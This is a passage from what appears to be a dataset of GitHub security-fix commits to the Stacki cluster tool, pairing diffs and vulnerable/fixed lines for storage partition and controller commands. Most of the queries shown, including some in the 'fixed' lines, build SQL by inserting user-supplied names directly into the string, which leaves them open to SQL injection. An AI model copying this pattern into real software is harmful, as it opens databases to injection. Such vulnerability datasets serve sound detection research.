\"\"\"partition specification for device %s, \t\t\t\tmount point %s already exists in the \t\t\t\tdatabase\"\"\" %(device, mountpt)) \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames(args) \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames(args) \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise ArgRequired(self, 'scope') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise ArgValue(self, 'scope', 'valid os, appliance name or host name') \t\tif scope=='global': \t\t\tname='global' \t\telse: \t\t\tname=args[0] \t\tdevice, size, fstype, mountpt, options, partid=\\ \t\t\tself.fillParams([ \t\t\t\t('device', None, True), \t\t\t\t('size', None), \t\t\t\t('type', None), \t\t\t\t('mountpoint', None), \t\t\t\t('options', None), \t\t\t\t('partid', None), \t\t\t\t]) \t\tif not device: \t\t\traise ParamRequired(self, 'device') \t\t \t\tif size: \t\t\ttry: \t\t\t\ts=int(size) \t\t\texcept: \t\t\t\t \t\t\t\t \t\t\t\t \t\t\t\t \t\t\t\tif mountpt=='swap' and \\ \t\t\t\t\tsize not in['recommended', 'hibernation']: \t\t\t\t\t\traise ParamType(self, 'size', 'integer') \t\t\tif s < 0: \t\t\t\traise ParamValue(self, 'size', '>=0') \t\t \t\tif partid: \t\t\ttry: \t\t\t\tp=int(partid) \t\t\texcept: \t\t\t\tpartid=None \t\t\tif p < 1: \t\t\t\traise ParamValue(self, 'partid', '>=0') \t\t\tpartid=p \t\t \t\t \t\t \t\ttableid=None \t\tif scope=='global': \t\t\ttableid=-1 \t\telif scope=='appliance': \t\t\tself.db.execute(\"\"\"select id from appliances where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\telif scope=='host': \t\t\tself.db.execute(\"\"\"select id from nodes where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\t \t\t \t\t \t\tif mountpt: \t\t\tself.checkIt(device, scope, tableid, mountpt) \t\tif not options: \t\t\toptions=\"\" \t\t \t\t \t\t \t\t \t\tsqlvars=\"Scope, TableID, device, Mountpoint, Size, FsType, Options\" \t\tsqldata=\"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\ \t\t\t(scope, tableid, device, mountpt, size, fstype, options) \t\tif partid: \t\t\tsqlvars +=\", PartID\" \t\t\tsqldata +=\", %s\" % partid \t\tself.db.execute(\"\"\"insert into storage_partition \t\t\t(%s) values(%s) \"\"\" %(sqlvars, sqldata)) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue\n\n\nclass Command(stack.commands.HostArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.add.command):\n\t\"\"\"\n\tAdd a partition configuration to the database.\n\n\t\n\tZero or one argument. The argument is the scope: a valid os (e.g.,\n\t'redhat'), a valid appliance (e.g., 'backend') or a valid host\n\t(e.g., 'backend-0-0). No argument means the scope is 'global'.\n\t\n\n\t\n\tDisk device on which we are creating partitions\n\t\n\n\t\n\tMountpoint to create\n\t\n\n\t\n\tSize of the partition.\n\t\n\n\t\n\tType of partition E.g: ext4, ext3, xfs, raid, etc.\n\t\n\n\t\n\tOptions that need to be supplied while adding partitions.\n\t\n\n\t\n\tThe relative partition id for this partition. Partitions will be\n\tcreated in ascending partition id order.\n\t\n\t\n\t\n\tCreates a ext4 partition on device sda with mountpoints /var.\n\t\n\n\t\n\tCreates a physical volume named pv.01 for lvm.\n\t\n\n\t\n\tCreates a volume group from 3 physical volumes i.e. pv.01, pv.02, pv.03. All these 3\n\tphysical volumes need to be created with the previous example. PV's need to be space\n\tseparated.\n\t\n\t\n\tCreated an xfs lvm partition of size 8192 on volgrp01. volgrp01 needs to be created\n\twith the previous example.\n\t\n\t\"\"\"\n\n\t#\n\t# Checks if partition config already exists in DB for a device and \n\t# a mount point.\n\t#\n\tdef checkIt(self, device, scope, tableid, mountpt):\n\t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint,\n\t\t\tdevice, Size, FsType from storage_partition where\n\t\t\tScope='%s' and TableID=%s and device= '%s'\n\t\t\tand Mountpoint='%s'\"\"\" % (scope, tableid, device, mountpt))\n\n\t\trow = self.db.fetchone()\n\n\t\tif row:\n\t\t\traise CommandError(self, \"\"\"partition specification for device %s,\n\t\t\t\tmount point %s already exists in the \n\t\t\t\tdatabase\"\"\" % (device, mountpt))\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames(args)\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames(args)\n\t\t\texcept:\n\t\t\t\thosts = []\n\t\telse:\n\t\t\traise ArgRequired(self, 'scope')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\n\t\tif not scope:\n\t\t\traise ArgValue(self, 'scope', 'valid os, appliance name or host name')\n\n\t\tif scope == 'global':\n\t\t\tname = 'global'\n\t\telse:\n\t\t\tname = args[0]\n\n\t\tdevice, size, fstype, mountpt, options, partid = \\\n\t\t\tself.fillParams([\n\t\t\t\t('device', None, True),\n\t\t\t\t('size', None), \n\t\t\t\t('type', None), \n\t\t\t\t('mountpoint', None),\n\t\t\t\t('options', None),\n\t\t\t\t('partid', None),\n\t\t\t\t])\n\n\t\tif not device:\n\t\t\traise ParamRequired(self, 'device')\n\n\t\t# Validate size\n\t\tif size:\n\t\t\ttry:\n\t\t\t\ts = int(size)\n\t\t\texcept:\n\t\t\t\t#\n\t\t\t\t# If mountpoint is 'swap' then allow\n\t\t\t\t# 'hibernate', 'recommended' as sizes.\n\t\t\t\t#\n\t\t\t\tif mountpt == 'swap' and \\\n\t\t\t\t\tsize not in ['recommended', 'hibernation']:\n\t\t\t\t\t\traise ParamType(self, 'size', 'integer')\n\t\t\tif s < 0:\n\t\t\t\traise ParamValue(self, 'size', '>= 0')\n\n\t\t# Validate partid\n\t\tif partid:\n\t\t\ttry:\n\t\t\t\tp = int(partid)\n\t\t\texcept:\n\t\t\t\tpartid = None\n\n\t\t\tif p < 1:\n\t\t\t\traise ParamValue(self, 'partid', '>= 0')\n\n\t\t\tpartid = p\n\n\t\t#\n\t\t# look up the id in the appropriate 'scope' table\n\t\t#\n\t\ttableid = None\n\t\tif scope == 'global':\n\t\t\ttableid = -1\n\t\telif scope == 'appliance':\n\t\t\tself.db.execute(\"\"\"select id from appliances where\n\t\t\t\tname = '%s' \"\"\" % name)\n\t\t\ttableid, = self.db.fetchone()\n\t\telif scope == 'host':\n\t\t\tself.db.execute(\"\"\"select id from nodes where\n\t\t\t\tname = '%s' \"\"\" % name)\n\t\t\ttableid, = self.db.fetchone()\n\n\t\t#\n\t\t# make sure the specification for mountpt doesn't already exist\n\t\t#\n\t\tif mountpt:\n\t\t\tself.checkIt(device, scope, tableid, mountpt)\n\n\t\tif not options:\n\t\t\toptions = \"\"\n\t\t\n\t\t#\n\t\t# now add the specifications to the database\n\t\t#\n\t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"\n\t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\\n\t\t\t(scope, tableid, device, mountpt, size, fstype, options)\n\n\t\tif partid:\n\t\t\tsqlvars += \", PartID\"\n\t\t\tsqldata += \", %s\" % partid\n\n\t\tself.db.execute(\"\"\"insert into storage_partition\n\t\t\t(%s) values (%s) \"\"\" % (sqlvars, sqldata))\n"}, "/common/src/stack/command/stack/commands/list/storage/controller/__init__.py": {"changes": [{"diff": "\n \t\t\t\twhere scope = 'global'\n \t\t\t\torder by enclosure, adapter, slot\"\"\"\n \t\telif scope == 'os':\n-\t\t\t#\n-\t\t\t# not currently supported\n-\t\t\t#\n-\t\t\treturn\n+\n+\t\t\tquery = \"\"\"select adapter, enclosure, slot, raidlevel,\n+ arrayid, options from storage_controller where\n+ scope = \"os\" and tableid = (select id from oses\n+ where name = '%s') order by enclosure, adapter, slot\"\"\" % args[0]\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select adapter, enclosure, slot,\n \t\t\t\traidlevel, arrayid, options\n", "add": 5, "remove": 4, "filename": "/common/src/stack/command/stack/commands/list/storage/controller/__init__.py", "badparts": ["\t\t\treturn"], "goodparts": ["\t\t\tquery = \"\"\"select adapter, enclosure, slot, raidlevel,", " arrayid, options from storage_controller where", " scope = \"os\" and tableid = (select id from oses", " where name = '%s') order by enclosure, adapter, slot\"\"\" % args[0]"]}, {"diff": "\n \t\tname = None\n \t\tif scope == 'global':\n \t\t\tname = 'global'\n-\t\telif scope in [ 'appliance', 'host']:\n+\t\telif scope in [ 'appliance', 'host', 'os']:\n \t\t\tname = args[0]\n \n \t\tself.beginOutput", "add": 1, "remove": 1, "filename": "/common/src/stack/command/stack/commands/list/storage/controller/__init__.py", "badparts": ["\t\telif scope in [ 'appliance', 'host']:"], "goodparts": ["\t\telif scope in [ 'appliance', 'host', 'os']:"]}], "source": "\n import stack.commands from stack.exception import ArgError, ParamValue class Command(stack.commands.list.command, \t\tstack.commands.OSArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.HostArgumentProcessor): \t\"\"\" \tList the storage controller configuration for one of the following: \tglobal, os, appliance or host. \t \tThis argument can be nothing, a valid 'os'(e.g., 'redhat'), a valid \tappliance(e.g., 'backend') or a host. \tIf nothing is supplied, then the global storage controller \tconfiguration will be output. \t \t \tList host-specific storage controller configuration for backend-0-0. \t \t \tList appliance-specific storage controller configuration for all \tbackend appliances. \t \t \tList global storage controller configuration for all hosts. \t \t\"\"\" \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames() \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames() \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise ArgError(self, 'scope', 'must be unique or missing') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name') \t\tquery=None \t\tif scope=='global': \t\t\tquery=\"\"\"select adapter, enclosure, slot, raidlevel, \t\t\t\tarrayid, options from storage_controller \t\t\t\twhere scope='global' \t\t\t\torder by enclosure, adapter, slot\"\"\" \t\telif scope=='os': \t\t\t \t\t\t \t\t\t \t\t\treturn \t\telif scope=='appliance': \t\t\tquery=\"\"\"select adapter, enclosure, slot, \t\t\t\traidlevel, arrayid, options \t\t\t\tfrom storage_controller where \t\t\t\tscope=\"appliance\" and tableid=(select \t\t\t\tid from appliances \t\t\t\twhere name='%s') \t\t\t\torder by enclosure, adapter, slot\"\"\" % args[0] \t\telif scope=='host': \t\t\tquery=\"\"\"select adapter, enclosure, slot, \t\t\t\traidlevel, arrayid, options \t\t\t\tfrom storage_controller where \t\t\t\tscope=\"host\" and tableid=(select \t\t\t\tid from nodes where name='%s') \t\t\t\torder by enclosure, adapter, slot\"\"\" % args[0] \t\tif not query: \t\t\treturn \t\tname=None \t\tif scope=='global': \t\t\tname='global' \t\telif scope in[ 'appliance', 'host']: \t\t\tname=args[0] \t\tself.beginOutput() \t\tself.db.execute(query) \t\ti=0 \t\tfor row in self.db.fetchall(): \t\t\tadapter, enclosure, slot, raidlevel, arrayid, options=row \t\t\tif i > 0: \t\t\t\tname=None \t\t\tif adapter==-1: \t\t\t\tadapter=None \t\t\tif enclosure==-1: \t\t\t\tenclosure=None \t\t\tif slot==-1: \t\t\t\tslot='*' \t\t\tif raidlevel=='-1': \t\t\t\traidlevel='hotspare' \t\t\tif arrayid==-1: \t\t\t\tarrayid='global' \t\t\telif arrayid==-2: \t\t\t\tarrayid='*' \t\t\t \t\t\toptions=options.strip(\"\\\"\") \t\t\tself.addOutput(name,[ enclosure, adapter, slot, \t\t\t\traidlevel, arrayid, options]) \t\t\ti +=1 \t\tself.endOutput(header=['scope', 'enclosure', 'adapter', 'slot', \t\t\t'raidlevel', 'arrayid', 'options'], trimOwner=False) ", "sourceWithComments": "#\n# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n#\n\nimport stack.commands\nfrom stack.exception import ArgError, ParamValue\n\n\nclass Command(stack.commands.list.command,\n\t\tstack.commands.OSArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.HostArgumentProcessor):\n\n\t\"\"\"\n\tList the storage controller configuration for one of the following:\n\tglobal, os, appliance or host.\n\n\t\n\tThis argument can be nothing, a valid 'os' (e.g., 'redhat'), a valid\n\tappliance (e.g., 'backend') or a host.\n\tIf nothing is supplied, then the global storage controller\n\tconfiguration will be output.\n\t\n\n\t\n\tList host-specific storage controller configuration for backend-0-0.\n\t\n\n\t\n\tList appliance-specific storage controller configuration for all\n\tbackend appliances.\n\t\n\n\t\n\tList global storage controller configuration for all hosts.\n\t\n\n\t\"\"\"\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames()\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames()\n\t\t\texcept:\n\t\t\t\thosts = []\n\n\t\telse:\n\t\t\traise ArgError(self, 'scope', 'must be unique or missing')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\n\t\tif not scope:\n\t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n\n\t\tquery = None\n\t\tif scope == 'global':\n\t\t\tquery = \"\"\"select adapter, enclosure, slot, raidlevel,\n\t\t\t\tarrayid, options from storage_controller \n\t\t\t\twhere scope = 'global'\n\t\t\t\torder by enclosure, adapter, slot\"\"\"\n\t\telif scope == 'os':\n\t\t\t#\n\t\t\t# not currently supported\n\t\t\t#\n\t\t\treturn\n\t\telif scope == 'appliance':\n\t\t\tquery = \"\"\"select adapter, enclosure, slot,\n\t\t\t\traidlevel, arrayid, options\n\t\t\t\tfrom storage_controller where\n\t\t\t\tscope = \"appliance\" and tableid = (select\n\t\t\t\tid from appliances\n\t\t\t\twhere name = '%s')\n\t\t\t\torder by enclosure, adapter, slot\"\"\" % args[0]\n\t\telif scope == 'host':\n\t\t\tquery = \"\"\"select adapter, enclosure, slot,\n\t\t\t\traidlevel, arrayid, options\n\t\t\t\tfrom storage_controller where\n\t\t\t\tscope = \"host\" and tableid = (select\n\t\t\t\tid from nodes where name = '%s')\n\t\t\t\torder by enclosure, adapter, slot\"\"\" % args[0]\n\n\t\tif not query:\n\t\t\treturn\n\n\t\tname = None\n\t\tif scope == 'global':\n\t\t\tname = 'global'\n\t\telif scope in [ 'appliance', 'host']:\n\t\t\tname = args[0]\n\n\t\tself.beginOutput()\n\n\t\tself.db.execute(query)\n\n\t\ti = 0\n\t\tfor row in self.db.fetchall():\n\t\t\tadapter, enclosure, slot, raidlevel, arrayid, options = row\n\n\t\t\tif i > 0:\n\t\t\t\tname = None\n\t\t\tif adapter == -1:\n\t\t\t\tadapter = None\n\t\t\tif enclosure == -1:\n\t\t\t\tenclosure = None\n\t\t\tif slot == -1:\n\t\t\t\tslot = '*'\n\t\t\tif raidlevel == '-1':\n\t\t\t\traidlevel = 'hotspare'\n\t\t\tif arrayid == -1:\n\t\t\t\tarrayid = 'global'\n\t\t\telif arrayid == -2:\n\t\t\t\tarrayid = '*'\n\t\t\t# Remove leading and trailing double quotes\n\t\t\toptions = options.strip(\"\\\"\")\n\n\t\t\tself.addOutput(name, [ enclosure, adapter, slot,\n\t\t\t\traidlevel, arrayid, options ])\n\n\t\t\ti += 1\n\n\t\tself.endOutput(header=['scope', 'enclosure', 'adapter', 'slot', \n\t\t\t'raidlevel', 'arrayid', 'options' ], trimOwner=False)\n\n"}, "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py": {"changes": [{"diff": "\n \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n \t\t\t\t\tappliances as a on p.tableid=a.id where\n \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n+\n+\n+\n+\n \t\telif scope == 'os':\n-\t\t\t#\n-\t\t\t# not currently supported\n-\t\t\t#\n-\t\t\treturn\n+\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n+\t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id\n+\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"appliance\"\n", "add": 7, "remove": 4, "filename": "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py", "badparts": ["\t\t\treturn"], "goodparts": ["\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid", "\t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id", "\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]"]}, {"diff": "\n \t\t\t\tsize = \"recommended\"\n \t\t\telif size == -2:\n \t\t\t\tsize = \"hibernation\"\n-\n-\t\t\tif name == \"host\" or name == \"appliance\":\n+\t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":\n \t\t\t\tname = args[0]\t\n \n \t\t\tif mountpoint == 'None':\n", "add": 1, "remove": 2, "filename": "/common/src/stack/command/stack/commands/list/storage/partition/__init__.py", "badparts": ["\t\t\tif name == \"host\" or name == \"appliance\":"], "goodparts": ["\t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":"]}], "source": "\n import stack.commands from stack.exception import ArgError, ParamValue class Command(stack.commands.list.command, \t\tstack.commands.OSArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.HostArgumentProcessor): \t\"\"\" \tList the storage partition configuration for one of the following: \tglobal, os, appliance or host. \t \tThis argument can be nothing, a valid 'os'(e.g., 'redhat'), a valid \tappliance(e.g., 'backend') or a host. \tIf nothing is supplied, then the global storage partition \tconfiguration will be output. \t \t \tFlag that specifies if only the 'global' partition entries should \tbe displayed. \t \t \tList host-specific storage partition configuration for backend-0-0. \t \t \tList appliance-specific storage partition configuration for all \tbackend appliances. \t \t \tList all storage partition configurations in the database. \t \t \tLists only global storage partition configuration i.e. configuration \tnot associated with a specific host or appliance type. \t \t\"\"\" \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tglobalOnly,=self.fillParams([('globalOnly', 'n')]) \t\tglobalOnlyFlag=self.str2bool(globalOnly) \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames() \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames() \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise ArgError(self, 'scope', 'must be unique or missing') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name') \t\tquery=None \t\tif scope=='global': \t\t\tif globalOnlyFlag: \t\t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\t\tfrom storage_partition \t\t\t\t\twhere scope='global' \t\t\t\t\torder by device,partid,fstype, size\"\"\" \t\t\telse: \t\t\t\tquery=\"\"\"(select scope, device, mountpoint, size, fstype, options, partid \t\t\t\t\tfrom storage_partition where scope='global') UNION ALL \t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size, \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join \t\t\t\t\tnodes as a on p.tableid=a.id where p.scope='host') UNION ALL \t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size, \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join \t\t\t\t\tappliances as a on p.tableid=a.id where \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\" \t\telif scope=='os': \t\t\t \t\t\t \t\t\t \t\t\treturn \t\telif scope=='appliance': \t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\tfrom storage_partition where scope=\"appliance\" \t\t\t\tand tableid=(select id from appliances \t\t\t\twhere name='%s') order by device,partid,fstype, size\"\"\" % args[0] \t\telif scope=='host': \t\t\tquery=\"\"\"select scope, device, mountpoint, size, fstype, options, partid \t\t\t\tfrom storage_partition where scope=\"host\" and \t\t\t\ttableid=(select id from nodes \t\t\t\twhere name='%s') order by device,partid,fstype, size\"\"\" % args[0] \t\tif not query: \t\t\treturn \t\tself.beginOutput() \t\tself.db.execute(query) \t\ti=0 \t\tfor row in self.db.fetchall(): \t\t\tname, device, mountpoint, size, fstype, options, partid=row \t\t\tif size==-1: \t\t\t\tsize=\"recommended\" \t\t\telif size==-2: \t\t\t\tsize=\"hibernation\" \t\t\tif name==\"host\" or name==\"appliance\": \t\t\t\tname=args[0]\t \t\t\tif mountpoint=='None': \t\t\t\tmountpoint=None \t\t\tif fstype=='None': \t\t\t\tfstype=None \t\t\tif partid==0: \t\t\t\tpartid=None \t\t\tself.addOutput(name,[device, partid, mountpoint, \t\t\t\tsize, fstype, options]) \t\t\ti +=1 \t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import ArgError, ParamValue\n\n\nclass Command(stack.commands.list.command,\n\t\tstack.commands.OSArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.HostArgumentProcessor):\n\n\t\"\"\"\n\tList the storage partition configuration for one of the following:\n\tglobal, os, appliance or host.\n\n\t\n\tThis argument can be nothing, a valid 'os' (e.g., 'redhat'), a valid\n\tappliance (e.g., 'backend') or a host.\n\tIf nothing is supplied, then the global storage partition\n\tconfiguration will be output.\n\t\n\n\t\n\tFlag that specifies if only the 'global' partition entries should\n\tbe displayed.\n\t\n\n\t\n\tList host-specific storage partition configuration for backend-0-0.\n\t\n\n\t\n\tList appliance-specific storage partition configuration for all\n\tbackend appliances.\n\t\n\n\t\n\tList all storage partition configurations in the database.\n\t\n\n\t\n\tLists only global storage partition configuration i.e. configuration\n\tnot associated with a specific host or appliance type.\n\t\n\t\"\"\"\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tglobalOnly, = self.fillParams([('globalOnly', 'n')])\n\t\tglobalOnlyFlag = self.str2bool(globalOnly)\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames()\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames()\n\t\t\texcept:\n\t\t\t\thosts = []\n\n\t\telse:\n\t\t\traise ArgError(self, 'scope', 'must be unique or missing')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\n\t\tif not scope:\n\t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n\t\tquery = None\n\t\tif scope == 'global':\n\t\t\tif globalOnlyFlag:\n\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid \n\t\t\t\t\tfrom storage_partition\n\t\t\t\t\twhere scope = 'global'\n\t\t\t\t\torder by device,partid,fstype, size\"\"\"\n\t\t\telse:\n\t\t\t\tquery = \"\"\"(select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\t\tfrom storage_partition where scope = 'global') UNION ALL\n\t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size,\n\t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n\t\t\t\t\tnodes as a on p.tableid=a.id where p.scope='host') UNION ALL\n\t\t\t\t\t(select a.name, p.device, p.mountpoint, p.size,\n\t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n\t\t\t\t\tappliances as a on p.tableid=a.id where\n\t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n\t\telif scope == 'os':\n\t\t\t#\n\t\t\t# not currently supported\n\t\t\t#\n\t\t\treturn\n\t\telif scope == 'appliance':\n\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\tfrom storage_partition where scope = \"appliance\"\n\t\t\t\tand tableid = (select id from appliances\n\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n\t\telif scope == 'host':\n\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n\t\t\t\tfrom storage_partition where scope=\"host\" and\n\t\t\t\ttableid = (select id from nodes\n\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n\n\t\tif not query:\n\t\t\treturn\n\n\t\tself.beginOutput()\n\n\t\tself.db.execute(query)\n\n\t\ti = 0\n\t\tfor row in self.db.fetchall():\n\t\t\tname, device, mountpoint, size, fstype, options, partid = row\n\t\t\tif size == -1:\n\t\t\t\tsize = \"recommended\"\n\t\t\telif size == -2:\n\t\t\t\tsize = \"hibernation\"\n\n\t\t\tif name == \"host\" or name == \"appliance\":\n\t\t\t\tname = args[0]\t\n\n\t\t\tif mountpoint == 'None':\n\t\t\t\tmountpoint = None\n\n\t\t\tif fstype == 'None':\n\t\t\t\tfstype = None\n\n\t\t\tif partid == 0:\n\t\t\t\tpartid = None\n\n\t\t\tself.addOutput(name, [device, partid, mountpoint,\n\t\t\t\tsize, fstype, options])\n\n\t\t\ti += 1\n\n\t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)\n"}}, "msg": "FEATURE: [add,list] storage [controller,partition] with 'os' scope\n\nchanged sql commands to the new format to prevent injection"}, "3da0c4195696e5d29dc2ea23e46711e0329e654e": {"url": "https://api.github.com/repos/Teradata/stacki/commits/3da0c4195696e5d29dc2ea23e46711e0329e654e", "html_url": "https://github.com/Teradata/stacki/commit/3da0c4195696e5d29dc2ea23e46711e0329e654e", "sha": "3da0c4195696e5d29dc2ea23e46711e0329e654e", "keyword": "command injection fix", "diff": "diff --git a/common/src/stack/command/stack/commands/add/storage/partition/__init__.py b/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\nindex a334884ce..b070fb727 100644\n--- a/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\n+++ b/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\n@@ -127,38 +127,33 @@ def run(self, params, args):\n \t\telse:\n \t\t\tname = args[0]\n \n-\t\tdevice, size, fstype, mountpt, options, partid = \\\n-\t\t\tself.fillParams([\n-\t\t\t\t('device', None, True),\n-\t\t\t\t('size', None), \n-\t\t\t\t('type', None), \n-\t\t\t\t('mountpoint', None),\n-\t\t\t\t('options', None),\n-\t\t\t\t('partid', None),\n-\t\t\t\t])\n+\t\tdevice, size, fstype, mountpt, options, partid = self.fillParams([\n+\t\t\t('device', None, 